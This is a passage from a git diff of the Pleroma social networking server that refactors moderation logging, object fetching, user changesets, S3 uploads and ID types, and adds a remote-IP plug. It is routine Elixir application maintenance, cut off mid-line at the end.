emojify(text, Emoji.get_all()) - end - - def emojify(text, nil), do: text - - def emojify(text, emoji, strip \\ false) do - Enum.reduce(emoji, text, fn emoji_data, text -> - emoji = HTML.strip_tags(elem(emoji_data, 0)) - file = HTML.strip_tags(elem(emoji_data, 1)) - - html = - if not strip do - "#{emoji}" - else - "" - end - - String.replace(text, ":#{emoji}:", html) |> HTML.filter_tags() - end) - end - - def demojify(text) do - emojify(text, Emoji.get_all(), true) - end - - def demojify(text, nil), do: text - - @doc "Outputs a list of the emoji-shortcodes in a text" - def get_emoji(text) when is_binary(text) do - Enum.filter(Emoji.get_all(), fn {emoji, _, _} -> String.contains?(text, ":#{emoji}:") end) - end - - def get_emoji(_), do: [] - - @doc "Outputs a list of the emoji-Maps in a text" - def get_emoji_map(text) when is_binary(text) do - get_emoji(text) - |> Enum.reduce(%{}, fn {name, file, _group}, acc -> - Map.put(acc, name, "#{Pleroma.Web.Endpoint.static_url()}#{file}") - end) - end - - def get_emoji_map(_), do: [] - def html_escape({text, mentions, hashtags}, type) do {html_escape(text, type), mentions, hashtags} end diff --git a/lib/pleroma/html.ex b/lib/pleroma/html.ex index 3951f0f51..937bafed5 100644 --- a/lib/pleroma/html.ex +++ b/lib/pleroma/html.ex @@ -184,7 +184,8 @@ defmodule Pleroma.HTML.Scrubber.Default do "tag", "nofollow", "noopener", - "noreferrer" + "noreferrer", + "ugc" ]) Meta.allow_tag_with_these_attributes("a", ["name", "title"]) @@ -304,7 +305,8 @@ defmodule Pleroma.HTML.Scrubber.LinksOnly do "nofollow", "noopener", "noreferrer", - "me" + "me", + "ugc" ]) Meta.allow_tag_with_these_attributes("a", ["name", "title"]) diff --git a/lib/pleroma/list.ex b/lib/pleroma/list.ex index c572380c2..08a94c62c 100644 --- a/lib/pleroma/list.ex +++ b/lib/pleroma/list.ex @@ -13,7 +13,7 @@ defmodule Pleroma.List do alias Pleroma.User schema "lists" do - belongs_to(:user, User, type: Pleroma.FlakeId) + belongs_to(:user, User, type: FlakeId.Ecto.CompatType) field(:title, :string) field(:following, {:array, :string}, default: []) field(:ap_id, :string) @@ -84,22 +84,11 @@ def get_lists_from_activity(%Activity{actor: ap_id}) do end # Get lists to which the account belongs. - def get_lists_account_belongs(%User{} = owner, account_id) do - user = User.get_cached_by_id(account_id) - - query = - from( - l in Pleroma.List, - where: - l.user_id == ^owner.id and - fragment( - "? = ANY(?)", - ^user.follower_address, - l.following - ) - ) - - Repo.all(query) + def get_lists_account_belongs(%User{} = owner, user) do + Pleroma.List + |> where([l], l.user_id == ^owner.id) + |> where([l], fragment("? = ANY(?)", ^user.follower_address, l.following)) + |> Repo.all() end def rename(%Pleroma.List{} = list, title) do diff --git a/lib/pleroma/moderation_log.ex b/lib/pleroma/moderation_log.ex index 1ef6fe67a..352cad433 100644 --- a/lib/pleroma/moderation_log.ex +++ b/lib/pleroma/moderation_log.ex @@ -14,61 +14,143 @@ defmodule Pleroma.ModerationLog do timestamps() end - def get_all(page, page_size) do - from(q in __MODULE__, - order_by: [desc: q.inserted_at], + def get_all(params) do + base_query = + get_all_query() + |> maybe_filter_by_date(params) + |> maybe_filter_by_user(params) + |> maybe_filter_by_search(params) + + query_with_pagination = base_query |> paginate_query(params) + + %{ + items: Repo.all(query_with_pagination), + count: Repo.aggregate(base_query, :count, :id) + } + end + + defp maybe_filter_by_date(query, %{start_date: nil, end_date: nil}), do: query + + defp maybe_filter_by_date(query, %{start_date: start_date, end_date: nil}) do + from(q in query, + where: q.inserted_at >= ^parse_datetime(start_date) + ) + end + + defp maybe_filter_by_date(query, %{start_date: nil, end_date: end_date}) do + from(q in query, + where: q.inserted_at <= ^parse_datetime(end_date) + ) + end + + defp maybe_filter_by_date(query, %{start_date: start_date, end_date: end_date}) do + from(q in query, + where: q.inserted_at >= ^parse_datetime(start_date), + where: q.inserted_at <= ^parse_datetime(end_date) + ) + end + + defp maybe_filter_by_user(query, %{user_id: nil}), do: query + + defp maybe_filter_by_user(query, %{user_id: user_id}) do + from(q in query, + where: fragment("(?)->'actor'->>'id' = ?", q.data, ^user_id) + ) + end + + defp maybe_filter_by_search(query, %{search: search}) when is_nil(search) or search == "", + do: query + + defp maybe_filter_by_search(query, %{search: search}) do + from(q in query, + where: fragment("(?)->>'message' ILIKE ?", q.data, ^"%#{search}%") + ) + end + + defp paginate_query(query, %{page: page, page_size: page_size}) do + from(q in query, limit: ^page_size, offset: ^((page - 1) * page_size) ) - |> Repo.all() end + defp get_all_query do + from(q in __MODULE__, + order_by: [desc: q.inserted_at] + ) + end + + defp parse_datetime(datetime) do + {:ok, parsed_datetime, _} = DateTime.from_iso8601(datetime) + + parsed_datetime + end + + @spec insert_log(%{actor: User, subject: User, action: String.t(), permission: String.t()}) :: + {:ok, ModerationLog} | {:error, any} def insert_log(%{ actor: %User{} = actor, subject: %User{} = subject, action: action, permission: permission }) do - Repo.insert(%ModerationLog{ + %ModerationLog{ data: %{ - actor: user_to_map(actor), - subject: user_to_map(subject), - action: action, - permission: permission + "actor" => user_to_map(actor), + "subject" => user_to_map(subject), + "action" => action, + "permission" => permission, + "message" => "" } - }) + } + |> insert_log_entry_with_message() end + @spec insert_log(%{actor: User, subject: User, action: String.t()}) :: + {:ok, ModerationLog} | {:error, any} def insert_log(%{ actor: %User{} = actor, action: "report_update", subject: %Activity{data: %{"type" => "Flag"}} = subject }) do - Repo.insert(%ModerationLog{ + %ModerationLog{ data: %{ - actor: user_to_map(actor), - action: "report_update", - subject: report_to_map(subject) + "actor" => user_to_map(actor), + "action" => "report_update", + "subject" => report_to_map(subject), + "message" => "" } - }) + } + |> insert_log_entry_with_message() end + @spec insert_log(%{actor: User, subject: Activity, action: String.t(), text: String.t()}) :: + {:ok, ModerationLog} | {:error, any} def insert_log(%{ actor: %User{} = actor, action: "report_response", subject: %Activity{} = subject, text: text }) do - Repo.insert(%ModerationLog{ + %ModerationLog{ data: %{ - actor: user_to_map(actor), - action: "report_response", - subject: report_to_map(subject), - text: text + "actor" => user_to_map(actor), + "action" => "report_response", + "subject" => report_to_map(subject), + "text" => text, + "message" => "" } - }) + } + |> insert_log_entry_with_message() end + @spec insert_log(%{ + actor: User, + subject: Activity, + action: String.t(), + sensitive: String.t(), + visibility: String.t() + }) :: {:ok, ModerationLog} | {:error, any} def insert_log(%{ actor: %User{} = actor, action: "status_update", @@ -76,41 +158,49 @@ def insert_log(%{ sensitive: sensitive, visibility: visibility }) do - Repo.insert(%ModerationLog{ + %ModerationLog{ data: %{ - actor: user_to_map(actor), - action: "status_update", - subject: status_to_map(subject), - sensitive: sensitive, - visibility: visibility + "actor" => user_to_map(actor), + "action" => "status_update", + "subject" => status_to_map(subject), + "sensitive" => sensitive, + "visibility" => visibility, + "message" => "" } - }) + } + |> insert_log_entry_with_message() end + @spec insert_log(%{actor: User, action: String.t(), subject_id: String.t()}) :: + {:ok, ModerationLog} | {:error, any} def insert_log(%{ actor: %User{} = actor, action: "status_delete", subject_id: subject_id }) do - Repo.insert(%ModerationLog{ + %ModerationLog{ data: %{ - actor: user_to_map(actor), - action: "status_delete", - subject_id: subject_id + "actor" => user_to_map(actor), + "action" => "status_delete", + "subject_id" => subject_id, + "message" => "" } - }) + } + |> insert_log_entry_with_message() end @spec insert_log(%{actor: User, subject: User, action: String.t()}) :: {:ok, ModerationLog} | {:error, any} def insert_log(%{actor: %User{} = actor, subject: subject, action: action}) do - Repo.insert(%ModerationLog{ + %ModerationLog{ data: %{ - actor: user_to_map(actor), - action: action, - subject: user_to_map(subject) + "actor" => user_to_map(actor), + "action" => action, + "subject" => user_to_map(subject), + "message" => "" } - }) + } + |> insert_log_entry_with_message() end @spec insert_log(%{actor: User, subjects: [User], action: String.t()}) :: @@ -118,97 +208,128 @@ def insert_log(%{actor: %User{} = actor, subject: subject, action: action}) do def insert_log(%{actor: %User{} = actor, subjects: subjects, action: action}) do subjects = Enum.map(subjects, &user_to_map/1) - Repo.insert(%ModerationLog{ + %ModerationLog{ data: %{ - actor: user_to_map(actor), - action: action, - subjects: subjects + "actor" => user_to_map(actor), + "action" => action, + "subjects" => subjects, + "message" => "" } - }) + } + |> insert_log_entry_with_message() end + @spec insert_log(%{actor: User, action: String.t(), followed: User, follower: User}) :: + {:ok, ModerationLog} | {:error, any} def insert_log(%{ actor: %User{} = actor, followed: %User{} = followed, follower: %User{} = follower, action: "follow" }) do - Repo.insert(%ModerationLog{ + %ModerationLog{ data: %{ - actor: user_to_map(actor), - action: "follow", - followed: user_to_map(followed), - follower: user_to_map(follower) + "actor" => user_to_map(actor), + "action" => "follow", + "followed" => user_to_map(followed), + "follower" => user_to_map(follower), + "message" => "" } - }) + } + |> insert_log_entry_with_message() end + @spec insert_log(%{actor: User, action: String.t(), followed: User, follower: User}) :: + {:ok, ModerationLog} | {:error, any} def insert_log(%{ actor: %User{} = actor, followed: %User{} = followed, follower: %User{} = follower, action: "unfollow" }) do - Repo.insert(%ModerationLog{ + %ModerationLog{ data: %{ - actor: user_to_map(actor), - action: "unfollow", - followed: user_to_map(followed), - follower: user_to_map(follower) + "actor" => user_to_map(actor), + "action" => "unfollow", + "followed" => user_to_map(followed), + "follower" => user_to_map(follower), + "message" => "" } - }) + } + |> insert_log_entry_with_message() end + @spec insert_log(%{ + actor: User, + action: String.t(), + nicknames: [String.t()], + tags: [String.t()] + }) :: {:ok, ModerationLog} | {:error, any} def insert_log(%{ actor: %User{} = actor, nicknames: nicknames, tags: tags, action: action }) do - Repo.insert(%ModerationLog{ + %ModerationLog{ data: %{ - actor: user_to_map(actor), - nicknames: nicknames, - tags: tags, - action: action + "actor" => user_to_map(actor), + "nicknames" => nicknames, + "tags" => tags, + "action" => action, + "message" => "" } - }) + } + |> insert_log_entry_with_message() end + @spec insert_log(%{actor: User, action: String.t(), target: String.t()}) :: + {:ok, ModerationLog} | {:error, any} def insert_log(%{ actor: %User{} = actor, action: action, target: target }) when action in ["relay_follow", "relay_unfollow"] do - Repo.insert(%ModerationLog{ + %ModerationLog{ data: %{ - actor: user_to_map(actor), - action: action, - target: target + "actor" => user_to_map(actor), + "action" => action, + "target" => target, + "message" => "" } - }) + } + |> insert_log_entry_with_message() + end + + @spec insert_log_entry_with_message(ModerationLog) :: {:ok, ModerationLog} | {:error, any} + + defp insert_log_entry_with_message(entry) do + entry.data["message"] + |> put_in(get_log_entry_message(entry)) + |> Repo.insert() end defp user_to_map(%User{} = user) do user |> Map.from_struct() |> Map.take([:id, :nickname]) - |> Map.put(:type, "user") + |> Map.new(fn {k, v} -> {Atom.to_string(k), v} end) + |> Map.put("type", "user") end defp report_to_map(%Activity{} = report) do %{ - type: "report", - id: report.id, - state: report.data["state"] + "type" => "report", + "id" => report.id, + "state" => report.data["state"] } end defp status_to_map(%Activity{} = status) do %{ - type: "status", - id: status.id + "type" => "status", + "id" => status.id } end diff --git a/lib/pleroma/notification.ex b/lib/pleroma/notification.ex index 8012389ac..d94ae5971 100644 --- a/lib/pleroma/notification.ex +++ b/lib/pleroma/notification.ex @@ -22,8 +22,8 @@ defmodule Pleroma.Notification do schema "notifications" do field(:seen, :boolean, default: false) - belongs_to(:user, User, type: Pleroma.FlakeId) - belongs_to(:activity, Activity, type: Pleroma.FlakeId) + belongs_to(:user, User, type: FlakeId.Ecto.CompatType) + belongs_to(:activity, Activity, type: FlakeId.Ecto.CompatType) timestamps() end diff --git a/lib/pleroma/object.ex b/lib/pleroma/object.ex index 3fa407931..cdfbacb0e 100644 --- a/lib/pleroma/object.ex +++ b/lib/pleroma/object.ex @@ -248,4 +248,11 @@ def increase_vote_count(ap_id, name) do _ -> :noop end end + + @doc "Updates data field of an object" + def update_data(%Object{data: data} = object, attrs \\ %{}) do + object + |> Object.change(%{data: Map.merge(data || %{}, attrs)}) + |> Repo.update() + end end diff --git a/lib/pleroma/object/fetcher.ex b/lib/pleroma/object/fetcher.ex index cea33b5af..5e064fd87 100644 --- a/lib/pleroma/object/fetcher.ex +++ b/lib/pleroma/object/fetcher.ex @@ -31,6 +31,7 @@ defp maybe_reinject_internal_fields(data, %{data: %{} = old_data}) do defp maybe_reinject_internal_fields(data, _), do: data + @spec reinject_object(struct(), map()) :: {:ok, Object.t()} | {:error, any()} defp reinject_object(struct, data) do Logger.debug("Reinjecting object #{data["id"]}") @@ -61,52 +62,54 @@ def refetch_object(%Object{data: %{"id" => id}} = object) do # TODO: # This will create a Create activity, which we need internally at the moment. def fetch_object_from_id(id, options \\ []) do - if object = Object.get_cached_by_ap_id(id) do + with {:fetch_object, nil} <- {:fetch_object, Object.get_cached_by_ap_id(id)}, + {:fetch, {:ok, data}} <- {:fetch, fetch_and_contain_remote_object_from_id(id)}, + {:normalize, nil} <- {:normalize, Object.normalize(data, false)}, + params <- prepare_activity_params(data), + {:containment, :ok} <- {:containment, Containment.contain_origin(id, params)}, + {:ok, activity} <- Transmogrifier.handle_incoming(params, options), + {:object, _data, %Object{} = object} <- + {:object, data, Object.normalize(activity, false)} do {:ok, object} else - Logger.info("Fetching #{id} via AP") + {:containment, _} -> + {:error, "Object containment failed."} - with {:fetch, {:ok, data}} <- {:fetch, fetch_and_contain_remote_object_from_id(id)}, - {:normalize, nil} <- {:normalize, Object.normalize(data, false)}, - params <- %{ - "type" => "Create", - "to" => data["to"], - "cc" => data["cc"], - # Should we seriously keep this attributedTo thing? - "actor" => data["actor"] || data["attributedTo"], - "object" => data - }, - {:containment, :ok} <- {:containment, Containment.contain_origin(id, params)}, - {:ok, activity} <- Transmogrifier.handle_incoming(params, options), - {:object, _data, %Object{} = object} <- - {:object, data, Object.normalize(activity, false)} do + {:error, {:reject, nil}} -> + {:reject, nil} + + {:object, data, nil} -> + reinject_object(%Object{}, data) + + {:normalize, object = %Object{}} -> {:ok, object} - else - {:containment, _} -> - {:error, "Object containment failed."} - {:error, {:reject, nil}} -> - {:reject, nil} + {:fetch_object, %Object{} = object} -> + {:ok, object} - {:object, data, nil} -> - reinject_object(%Object{}, data) + _e -> + # Only fallback when receiving a fetch/normalization error with ActivityPub + Logger.info("Couldn't get object via AP, trying out OStatus fetching...") - {:normalize, object = %Object{}} -> - {:ok, object} - - _e -> - # Only fallback when receiving a fetch/normalization error with ActivityPub - Logger.info("Couldn't get object via AP, trying out OStatus fetching...") - - # FIXME: OStatus Object Containment? - case OStatus.fetch_activity_from_url(id) do - {:ok, [activity | _]} -> {:ok, Object.normalize(activity, false)} - e -> e - end - end + # FIXME: OStatus Object Containment? + case OStatus.fetch_activity_from_url(id) do + {:ok, [activity | _]} -> {:ok, Object.normalize(activity, false)} + e -> e + end end end + defp prepare_activity_params(data) do + %{ + "type" => "Create", + "to" => data["to"], + "cc" => data["cc"], + # Should we seriously keep this attributedTo thing? + "actor" => data["actor"] || data["attributedTo"], + "object" => data + } + end + def fetch_object_from_id!(id, options \\ []) do with {:ok, object} <- fetch_object_from_id(id, options) do object diff --git a/lib/pleroma/pagination.ex b/lib/pleroma/pagination.ex index b55379c4a..9d279fba7 100644 --- a/lib/pleroma/pagination.ex +++ b/lib/pleroma/pagination.ex @@ -64,6 +64,7 @@ def paginate(query, options, :keyset) do def paginate(query, options, :offset) do query + |> restrict(:order, options) |> restrict(:offset, options) |> restrict(:limit, options) end diff --git a/lib/pleroma/password_reset_token.ex b/lib/pleroma/password_reset_token.ex index 4a833f6a5..db398b1fc 100644 --- a/lib/pleroma/password_reset_token.ex +++ b/lib/pleroma/password_reset_token.ex @@ -12,7 +12,7 @@ defmodule Pleroma.PasswordResetToken do alias Pleroma.User schema "password_reset_tokens" do - belongs_to(:user, User, type: Pleroma.FlakeId) + belongs_to(:user, User, type: FlakeId.Ecto.CompatType) field(:token, :string) field(:used, :boolean, default: false) diff --git a/lib/pleroma/plugs/remote_ip.ex b/lib/pleroma/plugs/remote_ip.ex new file mode 100644 index 000000000..fdedc27ee --- /dev/null +++ b/lib/pleroma/plugs/remote_ip.ex @@ -0,0 +1,54 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Plugs.RemoteIp do + @moduledoc """ + This is a shim to call [`RemoteIp`](https://git.pleroma.social/pleroma/remote_ip) but with runtime configuration. + """ + + @behaviour Plug + + @headers ~w[ + forwarded + x-forwarded-for + x-client-ip + x-real-ip + ] + + # https://en.wikipedia.org/wiki/Localhost + # https://en.wikipedia.org/wiki/Private_network + @reserved ~w[ + 127.0.0.0/8 + ::1/128 + fc00::/7 + 10.0.0.0/8 + 172.16.0.0/12 + 192.168.0.0/16 + ] + + def init(_), do: nil + + def call(conn, _) do + config = Pleroma.Config.get(__MODULE__, []) + + if Keyword.get(config, :enabled, false) do + RemoteIp.call(conn, remote_ip_opts(config)) + else + conn + end + end + + defp remote_ip_opts(config) do + headers = config |> Keyword.get(:headers, @headers) |> MapSet.new() + reserved = Keyword.get(config, :reserved, @reserved) + + proxies = + config + |> Keyword.get(:proxies, []) + |> Enum.concat(reserved) + |> Enum.map(&InetCidr.parse/1) + + {headers, proxies} + end +end diff --git a/lib/pleroma/registration.ex b/lib/pleroma/registration.ex index 21fd1fc3f..8544461db 100644 --- a/lib/pleroma/registration.ex +++ b/lib/pleroma/registration.ex @@ -11,10 +11,10 @@ defmodule Pleroma.Registration do alias Pleroma.Repo alias Pleroma.User - @primary_key {:id, Pleroma.FlakeId, autogenerate: true} + @primary_key {:id, FlakeId.Ecto.CompatType, autogenerate: true} schema "registrations" do - belongs_to(:user, User, type: Pleroma.FlakeId) + belongs_to(:user, User, type: FlakeId.Ecto.CompatType) field(:provider, :string) field(:uid, :string) field(:info, :map, default: %{}) diff --git a/lib/pleroma/scheduled_activity.ex b/lib/pleroma/scheduled_activity.ex index de0e54699..fea2cf3ff 100644 --- a/lib/pleroma/scheduled_activity.ex +++ b/lib/pleroma/scheduled_activity.ex @@ -17,7 +17,7 @@ defmodule Pleroma.ScheduledActivity do @min_offset :timer.minutes(5) schema "scheduled_activities" do - belongs_to(:user, User, type: Pleroma.FlakeId) + belongs_to(:user, User, type: FlakeId.Ecto.CompatType) field(:scheduled_at, :naive_datetime) field(:params, :map) diff --git a/lib/pleroma/thread_mute.ex b/lib/pleroma/thread_mute.ex index 10d31679d..65cbbede3 100644 --- a/lib/pleroma/thread_mute.ex +++ b/lib/pleroma/thread_mute.ex @@ -12,7 +12,7 @@ defmodule Pleroma.ThreadMute do require Ecto.Query schema "thread_mutes" do - belongs_to(:user, User, type: Pleroma.FlakeId) + belongs_to(:user, User, type: FlakeId.Ecto.CompatType) field(:context, :string) end @@ -24,7 +24,7 @@ def changeset(mute, params \\ %{}) do end def query(user_id, context) do - user_id = Pleroma.FlakeId.from_string(user_id) + {:ok, user_id} = FlakeId.Ecto.CompatType.dump(user_id) ThreadMute |> Ecto.Query.where(user_id: ^user_id) diff --git a/lib/pleroma/uploaders/s3.ex b/lib/pleroma/uploaders/s3.ex index 8c353bed3..9876b6398 100644 --- a/lib/pleroma/uploaders/s3.ex +++ b/lib/pleroma/uploaders/s3.ex @@ -38,16 +38,26 @@ def get_file(file) do def put_file(%Pleroma.Upload{} = upload) do config = Config.get([__MODULE__]) bucket = Keyword.get(config, :bucket) + streaming = Keyword.get(config, :streaming_enabled) s3_name = strict_encode(upload.path) op = - upload.tempfile - |> ExAws.S3.Upload.stream_file() - |> ExAws.S3.upload(bucket, s3_name, [ - {:acl, :public_read}, - {:content_type, upload.content_type} - ]) + if streaming do + upload.tempfile + |> ExAws.S3.Upload.stream_file() + |> ExAws.S3.upload(bucket, s3_name, [ + {:acl, :public_read}, + {:content_type, upload.content_type} + ]) + else + {:ok, file_data} = File.read(upload.tempfile) + + ExAws.S3.put_object(bucket, s3_name, file_data, [ + {:acl, :public_read}, + {:content_type, upload.content_type} + ]) + end case ExAws.request(op) do {:ok, _} -> diff --git a/lib/pleroma/user.ex b/lib/pleroma/user.ex index fb1f24254..4c1cdd042 100644 --- a/lib/pleroma/user.ex +++ b/lib/pleroma/user.ex @@ -34,7 +34,7 @@ defmodule Pleroma.User do @type t :: %__MODULE__{} - @primary_key {:id, Pleroma.FlakeId, autogenerate: true} + @primary_key {:id, FlakeId.Ecto.CompatType, autogenerate: true} # credo:disable-for-next-line Credo.Check.Readability.MaxLineLength @email_regex ~r/^[a-zA-Z0-9.!#$%&'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/ @@ -106,9 +106,7 @@ def profile_url(%User{info: %{source_data: %{"url" => url}}}), do: url def profile_url(%User{ap_id: ap_id}), do: ap_id def profile_url(_), do: nil - def ap_id(%User{nickname: nickname}) do - "#{Web.base_url()}/users/#{nickname}" - end + def ap_id(%User{nickname: nickname}), do: "#{Web.base_url()}/users/#{nickname}" def ap_followers(%User{follower_address: fa}) when is_binary(fa), do: fa def ap_followers(%User{} = user), do: "#{ap_id(user)}/followers" @@ -119,12 +117,9 @@ def ap_following(%User{} = user), do: "#{ap_id(user)}/following" def user_info(%User{} = user, args \\ %{}) do following_count = - if args[:following_count], - do: args[:following_count], - else: user.info.following_count || following_count(user) + Map.get(args, :following_count, user.info.following_count || following_count(user)) - follower_count = - if args[:follower_count], do: args[:follower_count], else: user.info.follower_count + follower_count = Map.get(args, :follower_count, user.info.follower_count) %{ note_count: user.info.note_count, @@ -137,12 +132,11 @@ def user_info(%User{} = user, args \\ %{}) do end def follow_state(%User{} = user, %User{} = target) do - follow_activity = Utils.fetch_latest_follow(user, target) - - if follow_activity, - do: follow_activity.data["state"], + case Utils.fetch_latest_follow(user, target) do + %{data: %{"state" => state}} -> state # Ideally this would be nil, but then Cachex does not commit the value - else: false + _ -> false + end end def get_cached_follow_state(user, target) do @@ -152,11 +146,7 @@ def get_cached_follow_state(user, target) do @spec set_follow_state_cache(String.t(), String.t(), String.t()) :: {:ok | :error, boolean()} def set_follow_state_cache(user_ap_id, target_ap_id, state) do - Cachex.put( - :user_cache, - "follow_state:#{user_ap_id}|#{target_ap_id}", - state - ) + Cachex.put(:user_cache, "follow_state:#{user_ap_id}|#{target_ap_id}", state) end def set_info_cache(user, args) do @@ -197,34 +187,25 @@ def remote_user_creation(params) do |> truncate_if_exists(:name, name_limit) |> truncate_if_exists(:bio, bio_limit) - info_cng = User.Info.remote_user_creation(%User.Info{}, params[:info]) - - changes = - %User{} + changeset = + %User{local: false} |> cast(params, [:bio, :name, :ap_id, :nickname, :avatar]) |> validate_required([:name, :ap_id]) |> unique_constraint(:nickname) |> validate_format(:nickname, @email_regex) |> validate_length(:bio, max: bio_limit) |> validate_length(:name, max: name_limit) - |> put_change(:local, false) - |> put_embed(:info, info_cng) + |> change_info(&User.Info.remote_user_creation(&1, params[:info])) - if changes.valid? do - case info_cng.changes[:source_data] do - %{"followers" => followers, "following" => following} -> - changes - |> put_change(:follower_address, followers) - |> put_change(:following_address, following) + case params[:info][:source_data] do + %{"followers" => followers, "following" => following} -> + changeset + |> put_change(:follower_address, followers) + |> put_change(:following_address, following) - _ -> - followers = User.ap_followers(%User{nickname: changes.changes[:nickname]}) - - changes - |> put_change(:follower_address, followers) - end - else - changes + _ -> + followers = ap_followers(%User{nickname: get_field(changeset, :nickname)}) + put_change(changeset, :follower_address, followers) end end @@ -245,7 +226,6 @@ def upgrade_changeset(struct, params \\ %{}, remote? \\ false) do name_limit = Pleroma.Config.get([:instance, :user_name_length], 100) params = Map.put(params, :last_refreshed_at, NaiveDateTime.utc_now()) - info_cng = User.Info.user_upgrade(struct.info, params[:info], remote?) struct |> cast(params, [ @@ -260,7 +240,7 @@ def upgrade_changeset(struct, params \\ %{}, remote? \\ false) do |> validate_format(:nickname, local_nickname_regex()) |> validate_length(:bio, max: bio_limit) |> validate_length(:name, max: name_limit) - |> put_embed(:info, info_cng) + |> change_info(&User.Info.user_upgrade(&1, params[:info], remote?)) end def password_update_changeset(struct, params) do @@ -269,6 +249,7 @@ def password_update_changeset(struct, params) do |> validate_required([:password, :password_confirmation]) |> validate_confirmation(:password) |> put_password_hash + |> put_embed(:info, User.Info.set_password_reset_pending(struct.info, false)) end @spec reset_password(User.t(), map) :: {:ok, User.t()} | {:error, Ecto.Changeset.t()} @@ -285,6 +266,20 @@ def reset_password(%User{id: user_id} = user, data) do end end + def force_password_reset_async(user) do + BackgroundWorker.enqueue("force_password_reset", %{"user_id" => user.id}) + end + + @spec force_password_reset(User.t()) :: {:ok, User.t()} | {:error, Ecto.Changeset.t()} + def force_password_reset(user) do + info_cng = User.Info.set_password_reset_pending(user.info, true) + + user + |> change() + |> put_embed(:info, info_cng) + |> update_and_set_cache() + end + def register_changeset(struct, params \\ %{}, opts \\ []) do bio_limit = Pleroma.Config.get([:instance, :user_bio_length], 5000) name_limit = Pleroma.Config.get([:instance, :user_name_length], 100) @@ -296,43 +291,39 @@ def register_changeset(struct, params \\ %{}, opts \\ []) do opts[:need_confirmation] end - info_change = - User.Info.confirmation_changeset(%User.Info{}, need_confirmation: need_confirmation?) + struct + |> cast(params, [:bio, :email, :name, :nickname, :password, :password_confirmation]) + |> validate_required([:name, :nickname, :password, :password_confirmation]) + |> validate_confirmation(:password) + |> unique_constraint(:email) + |> unique_constraint(:nickname) + |> validate_exclusion(:nickname, Pleroma.Config.get([User, :restricted_nicknames])) + |> validate_format(:nickname, local_nickname_regex()) + |> validate_format(:email, @email_regex) + |> validate_length(:bio, max: bio_limit) + |> validate_length(:name, min: 1, max: name_limit) + |> change_info(&User.Info.confirmation_changeset(&1, need_confirmation: need_confirmation?)) + |> maybe_validate_required_email(opts[:external]) + |> put_password_hash + |> put_ap_id() + |> unique_constraint(:ap_id) + |> put_following_and_follower_address() + end - changeset = - struct - |> cast(params, [:bio, :email, :name, :nickname, :password, :password_confirmation]) - |> validate_required([:name, :nickname, :password, :password_confirmation]) - |> validate_confirmation(:password) - |> unique_constraint(:email) - |> unique_constraint(:nickname) - |> validate_exclusion(:nickname, Pleroma.Config.get([User, :restricted_nicknames])) - |> validate_format(:nickname, local_nickname_regex()) - |> validate_format(:email, @email_regex) - |> validate_length(:bio, max: bio_limit) - |> validate_length(:name, min: 1, max: name_limit) - |> put_change(:info, info_change) + def maybe_validate_required_email(changeset, true), do: changeset + def maybe_validate_required_email(changeset, _), do: validate_required(changeset, [:email]) - changeset = - if opts[:external] do - changeset - else - validate_required(changeset, [:email]) - end + defp put_ap_id(changeset) do + ap_id = ap_id(%User{nickname: get_field(changeset, :nickname)}) + put_change(changeset, :ap_id, ap_id) + end - if changeset.valid? do - ap_id = User.ap_id(%User{nickname: changeset.changes[:nickname]}) - followers = User.ap_followers(%User{nickname: changeset.changes[:nickname]}) + defp put_following_and_follower_address(changeset) do + followers = ap_followers(%User{nickname: get_field(changeset, :nickname)}) - changeset - |> put_password_hash - |> put_change(:ap_id, ap_id) - |> unique_constraint(:ap_id) - |> put_change(:following, [followers]) - |> put_change(:follower_address, followers) - else - changeset - end + changeset + |> put_change(:following, [followers]) + |> put_change(:follower_address, followers) end defp autofollow_users(user) do @@ -347,9 +338,8 @@ defp autofollow_users(user) do @doc "Inserts provided changeset, performs post-registration actions (confirmation email sending etc.)" def register(%Ecto.Changeset{} = changeset) do - with {:ok, user} <- Repo.insert(changeset), - {:ok, user} <- post_register_action(user) do - {:ok, user} + with {:ok, user} <- Repo.insert(changeset) do + post_register_action(user) end end @@ -395,7 +385,7 @@ def maybe_direct_follow(%User{} = follower, %User{local: true} = followed) do end def maybe_direct_follow(%User{} = follower, %User{} = followed) do - if not User.ap_enabled?(followed) do + if not ap_enabled?(followed) do follow(follower, followed) else {:ok, follower} @@ -428,9 +418,7 @@ def follow_all(follower, followeds) do {1, [follower]} = Repo.update_all(q, []) - Enum.each(followeds, fn followed -> - update_follower_count(followed) - end) + Enum.each(followeds, &update_follower_count/1) set_cache(follower) end @@ -517,6 +505,11 @@ def get_all_by_ap_id(ap_ids) do |> Repo.all() end + def get_all_by_ids(ids) do + from(u in __MODULE__, where: u.id in ^ids) + |> Repo.all() + end + # This is mostly an SPC migration fix. This guesses the user nickname by taking the last part # of the ap_id and the domain and tries to get that user def get_by_guessed_nickname(ap_id) do @@ -540,8 +533,6 @@ def set_cache(%User{} = user) do def update_and_set_cache(changeset) do with {:ok, user} <- Repo.update(changeset, stale_error_field: :id) do set_cache(user) - else - e -> e end end @@ -578,9 +569,7 @@ def get_cached_by_nickname(nickname) do key = "nickname:#{nickname}" Cachex.fetch!(:user_cache, key, fn -> - user_result = get_or_fetch_by_nickname(nickname) - - case user_result do + case get_or_fetch_by_nickname(nickname) do {:ok, user} -> {:commit, user} {:error, _error} -> {:ignore, nil} end @@ -591,7 +580,7 @@ def get_cached_by_nickname_or_id(nickname_or_id, opts \\ []) do restrict_to_local = Pleroma.Config.get([:instance, :limit_to_local_content]) cond do - is_integer(nickname_or_id) or Pleroma.FlakeId.is_flake_id?(nickname_or_id) -> + is_integer(nickname_or_id) or FlakeId.flake_id?(nickname_or_id) -> get_cached_by_id(nickname_or_id) || get_cached_by_nickname(nickname_or_id) restrict_to_local == false -> @@ -620,13 +609,11 @@ def get_by_nickname_or_email(nickname_or_email) do def get_cached_user_info(user) do key = "user_info:#{user.id}" - Cachex.fetch!(:user_cache, key, fn _ -> user_info(user) end) + Cachex.fetch!(:user_cache, key, fn -> user_info(user) end) end def fetch_by_nickname(nickname) do - ap_try = ActivityPub.make_user_from_nickname(nickname) - - case ap_try do + case ActivityPub.make_user_from_nickname(nickname) do {:ok, user} -> {:ok, user} _ -> OStatus.make_user(nickname) end @@ -661,7 +648,8 @@ def get_followers_query(%User{} = user, nil) do end def get_followers_query(user, page) do - from(u in 